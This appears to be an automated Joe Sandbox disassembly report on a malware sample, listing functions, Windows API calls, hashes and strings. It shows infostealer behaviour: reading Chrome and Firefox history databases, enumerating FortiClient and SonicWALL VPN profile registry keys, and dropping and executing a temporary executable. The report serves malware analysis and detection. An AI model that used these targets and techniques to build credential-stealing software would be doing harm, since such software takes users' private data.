Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Card$CardsFreeListMemory$ChangeStatus
String ID: "_": ""$%02X
API String ID: 2879528921-1880646522
Opcode ID: e59ca80a278d3f8b3b4db8a184319e5bea95b8baa96d61451950577b7007fd03
Instruction ID: 7de73543c9ff4e898ce3bb1b1bcc7e8621594d86b5c387c759380c0851cd5752
Opcode Fuzzy Hash: e59ca80a278d3f8b3b4db8a184319e5bea95b8baa96d61451950577b7007fd03
Instruction Fuzzy Hash: EED15022B0960344EB14EB6198912FD37699F567CCB486632DD3ED77C6FEACE1058B20

Function 00007FF6F2D636F0 Relevance: 3.1, APIs: 2, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptExportKey.ADVAPI32 ref: 00007FF6F2D63744
CryptExportKey.ADVAPI32 ref: 00007FF6F2D6379E

Part of subcall function 00007FF6F2D625DC: GetProcessHeap.KERNEL32(?,?,?,00007FF6F2D61985,?,?,?,00007FF6F2D6155F), ref: 00007FF6F2D625E5

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: CryptExport$HeapProcess
String ID:
API String ID: 532797600-0
Opcode ID: 3be456bb978bd55ad68a908853d8a1957bca95cb45049c9de1117908c4c22810
Instruction ID: a6dbf3f7e783ee36f01836b724e11a213a775ff5256ad06c22965872e5273c1e
Opcode Fuzzy Hash: 3be456bb978bd55ad68a908853d8a1957bca95cb45049c9de1117908c4c22810
Instruction Fuzzy Hash: F1213D32A19A4292EB90CF15F49076977A1BB85B98F109330EA6D876D4EF7CD5058F10

Function 00007FF6F2D6FF3C Relevance: 18.1, APIs: 12, Instructions: 91filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF6F2D6FF62

Part of subcall function 00007FF6F2D62588: GetProcessHeap.KERNEL32(?,?,00000000,00007FF6F2D6CD4D), ref: 00007FF6F2D62595

lstrlenW.KERNEL32 ref: 00007FF6F2D6FF7E
WideCharToMultiByte.KERNEL32 ref: 00007FF6F2D6FFA7
PathFileExistsA.SHLWAPI ref: 00007FF6F2D6FFB0
OpenFile.KERNEL32 ref: 00007FF6F2D6FFC9

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

GetFileSize.KERNEL32 ref: 00007FF6F2D6FFE9

Part of subcall function 00007FF6F2D625DC: GetProcessHeap.KERNEL32(?,?,?,00007FF6F2D61985,?,?,?,00007FF6F2D6155F), ref: 00007FF6F2D625E5

CreateFileMappingA.KERNEL32 ref: 00007FF6F2D70020
MapViewOfFile.KERNEL32 ref: 00007FF6F2D70041
__memcpy.DELAYIMP ref: 00007FF6F2D70053
UnmapViewOfFile.KERNEL32 ref: 00007FF6F2D7005E
CloseHandle.KERNEL32 ref: 00007FF6F2D70067
CloseHandle.KERNEL32 ref: 00007FF6F2D70070

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: File$Heap$Process$CloseHandleViewlstrlen$ByteCharCreateExistsFreeMappingMultiOpenPathSizeUnmapWide__memcpy
String ID:
API String ID: 2161876737-0
Opcode ID: 063b78b404f5c96bf7d67d942382568fb73c345fad3f326a6c542ad15abcefa6
Instruction ID: cd53b869c55d1b7449d293068ed617fbb55b5fc3ddb85dc4e14e778550237cde
Opcode Fuzzy Hash: 063b78b404f5c96bf7d67d942382568fb73c345fad3f326a6c542ad15abcefa6
Instruction Fuzzy Hash: 4B31B321A08A4282EB24DB22A8597797395BB89BE5F144334DD7D87BE4EF7CD4058B10

Function 00007FF6F2D61CBC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 65filetimeCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32 ref: 00007FF6F2D61CF7
GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6F2D61D04
wsprintfA.USER32 ref: 00007FF6F2D61D1C
CreateFileA.KERNEL32 ref: 00007FF6F2D61D56
WriteFile.KERNEL32 ref: 00007FF6F2D61D88
CloseHandle.KERNEL32 ref: 00007FF6F2D61DA9
ShellExecuteA.SHELL32 ref: 00007FF6F2D61DCE

Strings

%08X.exe, xrefs: 00007FF6F2D61D11
open, xrefs: 00007FF6F2D61DC2

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: File$Time$CloseCreateExecuteHandlePathShellSystemTempWritewsprintf
String ID: %08X.exe$open
API String ID: 2307396689-1771423410
Opcode ID: 8de0e536810cab89fbb532c5864f35491e90b95316bd22bc7e796462d49f8046
Instruction ID: a414c3c6dd664a84c91278e5fff6396b1bdf730ef587cdb4418fad9fcc1efc12
Opcode Fuzzy Hash: 8de0e536810cab89fbb532c5864f35491e90b95316bd22bc7e796462d49f8046
Instruction Fuzzy Hash: 4931A77261898596E720CF20E8887E97325FB8978CF404235DA5D8AA98EF7CC60DCB10

Function 00007FF6F2D6F988 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF6F2D6FA5C
lstrcatW.KERNEL32 ref: 00007FF6F2D6FA6C
lstrcatW.KERNEL32 ref: 00007FF6F2D6FA7C
lstrcatW.KERNEL32 ref: 00007FF6F2D6FA90

Part of subcall function 00007FF6F2D6FF3C: lstrlenW.KERNEL32 ref: 00007FF6F2D6FF62
Part of subcall function 00007FF6F2D6FF3C: lstrlenW.KERNEL32 ref: 00007FF6F2D6FF7E
Part of subcall function 00007FF6F2D6FF3C: WideCharToMultiByte.KERNEL32 ref: 00007FF6F2D6FFA7
Part of subcall function 00007FF6F2D6FF3C: PathFileExistsA.SHLWAPI ref: 00007FF6F2D6FFB0
Part of subcall function 00007FF6F2D6FF3C: OpenFile.KERNEL32 ref: 00007FF6F2D6FFC9
Part of subcall function 00007FF6F2D6FF3C: GetFileSize.KERNEL32 ref: 00007FF6F2D6FFE9
Part of subcall function 00007FF6F2D6FF3C: CreateFileMappingA.KERNEL32 ref: 00007FF6F2D70020
Part of subcall function 00007FF6F2D6FF3C: MapViewOfFile.KERNEL32 ref: 00007FF6F2D70041
Part of subcall function 00007FF6F2D6FF3C: __memcpy.DELAYIMP ref: 00007FF6F2D70053
Part of subcall function 00007FF6F2D6FF3C: UnmapViewOfFile.KERNEL32 ref: 00007FF6F2D7005E
Part of subcall function 00007FF6F2D6FF3C: CloseHandle.KERNEL32 ref: 00007FF6F2D70067
Part of subcall function 00007FF6F2D6FF3C: CloseHandle.KERNEL32 ref: 00007FF6F2D70070

Part of subcall function 00007FF6F2D6F280: __memcpy.DELAYIMP ref: 00007FF6F2D6F29E

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

lstrlenW.KERNEL32 ref: 00007FF6F2D6FAFF

Strings

\History, xrefs: 00007FF6F2D6FA82
LOCALAPPDATA, xrefs: 00007FF6F2D6FA55
Default, xrefs: 00007FF6F2D6F9AA

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: File$lstrcatlstrlen$CloseHandleHeapView__memcpy$ByteCharCreateEnvironmentExistsFreeMappingMultiOpenPathProcessSizeUnmapVariableWide
String ID: Default$LOCALAPPDATA$\History
API String ID: 3980575106-3555721359
Opcode ID: a9490f531bca9e2a9df176b31feed2a3c8fdbf660a9032f732405aecd540a554
Instruction ID: 4cf45b9ce1a3bab782ec0a42e82bd4b9a47f8f1340cc49ece934f0ddc37e1959
Opcode Fuzzy Hash: a9490f531bca9e2a9df176b31feed2a3c8fdbf660a9032f732405aecd540a554
Instruction Fuzzy Hash: 77516322E18F8582E750DF24D9412A87770FB99788F45A321DE9D53666FF78E6C8C700

Function 00007FF6F2D6FC70 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 89comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF6F2D6FC89
CoCreateInstance.OLE32 ref: 00007FF6F2D6FCAC
CoUninitialize.OLE32 ref: 00007FF6F2D6FDC3

Strings

http, xrefs: 00007FF6F2D6FD6E

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize
String ID: http
API String ID: 948891078-2541227442
Opcode ID: da779b66130cb05ef608860a343e0f9fb267a85ae6c6f153e63f2b0c7d92370d
Instruction ID: 17e371f65e35ef077dfb50ce3ce7a3f35b9562b434763bd01c6b7579873fe7d2
Opcode Fuzzy Hash: da779b66130cb05ef608860a343e0f9fb267a85ae6c6f153e63f2b0c7d92370d
Instruction Fuzzy Hash: 52416232608A4699E7109F65D4953A937A1FB85B8CF044236DA5E8BAE8EF7CD148CB10

Function 00007FF6F2D69478 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81timesynchronizationCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6F2D694BF
WaitForSingleObject.KERNEL32 ref: 00007FF6F2D69505
GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6F2D69517
TerminateProcess.KERNEL32 ref: 00007FF6F2D6953A

Part of subcall function 00007FF6F2D6968C: PeekNamedPipe.KERNELBASE ref: 00007FF6F2D696B8

GetExitCodeProcess.KERNEL32 ref: 00007FF6F2D69585
CloseHandle.KERNEL32 ref: 00007FF6F2D69593

Strings

exit, xrefs: 00007FF6F2D69482

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Time$FileProcessSystem$CloseCodeExitHandleNamedObjectPeekPipeSingleTerminateWait
String ID: exit
API String ID: 1626563136-1626635026
Opcode ID: e8db0668784a4e42b00b615d6c0ccb33bfa89d96bba3dbda8ec61e812724d3ba
Instruction ID: f88c66be1f4166232ef29a87bcbb3d9bc70e0528e35b3ef42b43f1636e1d9394
Opcode Fuzzy Hash: e8db0668784a4e42b00b615d6c0ccb33bfa89d96bba3dbda8ec61e812724d3ba
Instruction Fuzzy Hash: 76312E31A0864281EF50DF35D4902B93BA1EF95B8CF541332E92EC65D9FEACE845CB60

Function 00007FF6F2D61EEC Relevance: 12.2, APIs: 8, Instructions: 152commemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F2D61DE8: RegCreateKeyExA.ADVAPI32 ref: 00007FF6F2D61E35

CoInitializeEx.OLE32 ref: 00007FF6F2D61F1E
VariantInit.OLEAUT32 ref: 00007FF6F2D61F28
CoCreateInstance.OLE32 ref: 00007FF6F2D61F50
SysAllocString.OLEAUT32 ref: 00007FF6F2D61F61
SafeArrayCreateVector.OLEAUT32 ref: 00007FF6F2D61F7D
SafeArrayAccessData.OLEAUT32 ref: 00007FF6F2D61F93
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF6F2D61FAC
SysFreeString.OLEAUT32 ref: 00007FF6F2D62111

Part of subcall function 00007FF6F2D61CBC: GetTempPathA.KERNEL32 ref: 00007FF6F2D61CF7
Part of subcall function 00007FF6F2D61CBC: GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6F2D61D04
Part of subcall function 00007FF6F2D61CBC: wsprintfA.USER32 ref: 00007FF6F2D61D1C
Part of subcall function 00007FF6F2D61CBC: CreateFileA.KERNEL32 ref: 00007FF6F2D61D56
Part of subcall function 00007FF6F2D61CBC: WriteFile.KERNEL32 ref: 00007FF6F2D61D88
Part of subcall function 00007FF6F2D61CBC: CloseHandle.KERNEL32 ref: 00007FF6F2D61DA9
Part of subcall function 00007FF6F2D61CBC: ShellExecuteA.SHELL32 ref: 00007FF6F2D61DCE

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Create$ArrayFileSafe$DataStringTime$AccessAllocCloseExecuteFreeHandleInitInitializeInstancePathShellSystemTempUnaccessVariantVectorWritewsprintf
String ID:
API String ID: 1750269033-0
Opcode ID: 35f14d03cfaf8c97af958c557d0a79d7db1ea00b24c4592062ca6e010514b8e8
Instruction ID: ab7fcc01f1f293ebbd49ca2ce118f9e05da8bc1e4a2eacdafa0d4aba0a8a13f5
Opcode Fuzzy Hash: 35f14d03cfaf8c97af958c557d0a79d7db1ea00b24c4592062ca6e010514b8e8
Instruction Fuzzy Hash: 11613926B08A0696EB00DF65D4943AC37A4FB49B8CF448232CE1D97B98EE7DD509C760

Function 00007FF6F2D6F108 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F2D625DC: GetProcessHeap.KERNEL32(?,?,?,00007FF6F2D61985,?,?,?,00007FF6F2D6155F), ref: 00007FF6F2D625E5

__memcpy.DELAYIMP ref: 00007FF6F2D6F18F

Part of subcall function 00007FF6F2D70114: __memcpy.DELAYIMP ref: 00007FF6F2D70145
Part of subcall function 00007FF6F2D70114: __memcpy.DELAYIMP ref: 00007FF6F2D70153

Part of subcall function 00007FF6F2D6EB94: lstrlenA.KERNEL32 ref: 00007FF6F2D6EBB1

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

Strings

urls, xrefs: 00007FF6F2D6F158
url, xrefs: 00007FF6F2D6F1D8
last_visit_time, xrefs: 00007FF6F2D6F1EB
table, xrefs: 00007FF6F2D6F13A

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_time$table$url$urls
API String ID: 2336645791-3896411411
Opcode ID: 50821f25f0cb2751fab6b95a68dc4b7fcf46b3044d28eb552ffeba5f77d45c67
Instruction ID: f6ebf14a7c896fbe09eef22c620d048c1911f4872c2a29dcf85c07fba0a7df20
Opcode Fuzzy Hash: 50821f25f0cb2751fab6b95a68dc4b7fcf46b3044d28eb552ffeba5f77d45c67
Instruction Fuzzy Hash: 9A319862608B8686DB20DB26E4905A97B50FB86BC8F408231DE6EC77D5FEBCD545CF10

Function 00007FF6F2D6EEDC Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F2D625DC: GetProcessHeap.KERNEL32(?,?,?,00007FF6F2D61985,?,?,?,00007FF6F2D6155F), ref: 00007FF6F2D625E5

__memcpy.DELAYIMP ref: 00007FF6F2D6EF63

Part of subcall function 00007FF6F2D70114: __memcpy.DELAYIMP ref: 00007FF6F2D70145
Part of subcall function 00007FF6F2D70114: __memcpy.DELAYIMP ref: 00007FF6F2D70153

Part of subcall function 00007FF6F2D6EB94: lstrlenA.KERNEL32 ref: 00007FF6F2D6EBB1

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

Strings

moz_places, xrefs: 00007FF6F2D6EF2C
url, xrefs: 00007FF6F2D6EFAC
last_visit_date, xrefs: 00007FF6F2D6EFBF
table, xrefs: 00007FF6F2D6EF0E

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_date$moz_places$table$url
API String ID: 2336645791-66087218
Opcode ID: 557a3c6594f34c1c2268f7d356880dc065484ba3f2c21b151f8bf6fb891685af
Instruction ID: 726d15e15da1afc21c4cf6b2f85e19db96d215b575fdd5027171060912a61d5f
Opcode Fuzzy Hash: 557a3c6594f34c1c2268f7d356880dc065484ba3f2c21b151f8bf6fb891685af
Instruction Fuzzy Hash: 6931A922608A8745DB20DB26E4906A97B50FB86BC8F504232DE6EC77D5FEBCD446CB10

Function 00007FF6F2D6ECBC Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F2D625DC: GetProcessHeap.KERNEL32(?,?,?,00007FF6F2D61985,?,?,?,00007FF6F2D6155F), ref: 00007FF6F2D625E5

__memcpy.DELAYIMP ref: 00007FF6F2D6ED43

Part of subcall function 00007FF6F2D70114: __memcpy.DELAYIMP ref: 00007FF6F2D70145
Part of subcall function 00007FF6F2D70114: __memcpy.DELAYIMP ref: 00007FF6F2D70153

Part of subcall function 00007FF6F2D6EB94: lstrlenA.KERNEL32 ref: 00007FF6F2D6EBB1

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

Strings

urls, xrefs: 00007FF6F2D6ED0C
url, xrefs: 00007FF6F2D6ED8C
last_visit_time, xrefs: 00007FF6F2D6ED9F
table, xrefs: 00007FF6F2D6ECEE

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: Heap__memcpy$Process$Freelstrlen
String ID: last_visit_time$table$url$urls
API String ID: 2336645791-3896411411
Opcode ID: 152a2d5ca8424219c1645b7db4641ab7528640e05460c9e3818a3068e443641a
Instruction ID: 6aa6c2156328ae9b38fbac3ce3c2331c29c179d99ffb45331fdcfcb2f7255aae
Opcode Fuzzy Hash: 152a2d5ca8424219c1645b7db4641ab7528640e05460c9e3818a3068e443641a
Instruction Fuzzy Hash: CE31876260868345EB209B66E4905E97B50FB46BC8F404231DE6DC77D6FEBCD455CB10

Function 00007FF6F2D6E3AC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 64stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF6F2D6E3DC
PathAppendW.SHLWAPI ref: 00007FF6F2D6E3EA

Strings

":", xrefs: 00007FF6F2D6E481
Software\Fortinet\FortiClient\Sslvpn\Tunnels, xrefs: 00007FF6F2D6E3D0
"},, xrefs: 00007FF6F2D6E49F

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: AppendPathlstrcpy
String ID: ":"$"},$Software\Fortinet\FortiClient\Sslvpn\Tunnels
API String ID: 3043196718-4231764533
Opcode ID: 41717d2b28b12b861b56b77c4a305ba195c6b11fe973075c33dbed15fd8a1f2e
Instruction ID: 945540a0e8cd536f13c280ed015ed0af5335ec934827b5bd8c85cec59c015ce3
Opcode Fuzzy Hash: 41717d2b28b12b861b56b77c4a305ba195c6b11fe973075c33dbed15fd8a1f2e
Instruction Fuzzy Hash: 03318D72608A8181DB209F62E8442E97765FB89BC4F544232EE6D877D9EE7CD504CB10

Function 00007FF6F2D61DE8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32 ref: 00007FF6F2D61E35
RegSetValueExA.ADVAPI32 ref: 00007FF6F2D61EBE
RegCloseKey.ADVAPI32 ref: 00007FF6F2D61ED1

Strings

?, xrefs: 00007FF6F2D61E29

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: CloseCreateValue
String ID: ?
API String ID: 1818849710-1684325040
Opcode ID: 95ba9ea116202154f80c3a303d626d01697fe8fb572a65aab9065d47d504427e
Instruction ID: 158b1072d104891cdb721a74c91cba4365e7a2fa3e9910707f7fbf3ec1a5b1d0
Opcode Fuzzy Hash: 95ba9ea116202154f80c3a303d626d01697fe8fb572a65aab9065d47d504427e
Instruction Fuzzy Hash: 8221C273A147808AE7208F75A8402ED7BA4FB5979CF540325EA9C43B99DF7CC144CB10

Function 00007FF6F2D6E604 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32 ref: 00007FF6F2D6E623
PathAppendW.SHLWAPI ref: 00007FF6F2D6E631

Part of subcall function 00007FF6F2D6CCF8: RegGetValueW.ADVAPI32 ref: 00007FF6F2D6CD37
Part of subcall function 00007FF6F2D6CCF8: RegGetValueW.ADVAPI32 ref: 00007FF6F2D6CD76

Part of subcall function 00007FF6F2D625B4: GetProcessHeap.KERNEL32 ref: 00007FF6F2D625C1
Part of subcall function 00007FF6F2D625B4: RtlFreeHeap.NTDLL ref: 00007FF6F2D625CF

Strings

Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles, xrefs: 00007FF6F2D6E617
"},, xrefs: 00007FF6F2D6E6AF

Memory Dump Source

Source File: 00000009.00000002.4126008574.00007FF6F2D61000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6F2D60000, based on PE: true

Associated: 00000009.00000002.4125951508.00007FF6F2D60000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126066141.00007FF6F2D71000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126220569.00007FF6F2D74000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.4126273300.00007FF6F2D75000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff6f2d60000_B972.jbxd

Similarity

API ID: HeapValue$AppendFreePathProcesslstrcpy
String ID: "},$Software\SonicWALL\SSL-VPN NetExtender\Standalone\Profiles
API String ID: 784796242-1893226844
Opcode ID: 56f71f68fbf130069fe557fb8e3a7c8bf433f458dc10dc9b1a9b8d1950a128cc
Instruction ID: a890e1dd8d8bdfac1875994142992bd849d6a2385e73b45eea40fba9f6bdf72e
Opcode Fuzzy Hash: 56f71f68fbf130069fe557fb8e3a7c8bf433f458dc10dc9b1a9b8d1950a128cc
Instruction Fuzzy Hash: B711211160858250DB20AB52F8953FA6755EF95BC8F445332E9BDCB7EAEEACD104CF10

Function 00007FF6F2D6CBF4 Relevance: 6.1, APIs: 4, Instructions: 61registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF6F2D6CC39
RegEnumKeyExW.ADVAPI32 ref: 00007FF6F2D6CC73
RegEnumKeyExW.ADVAPI32 ref: 00007FF6F2D6CCC2
RegCloseKey.ADVAPI32 ref: 00007FF6F2D6CCD1

Memory Dump Source

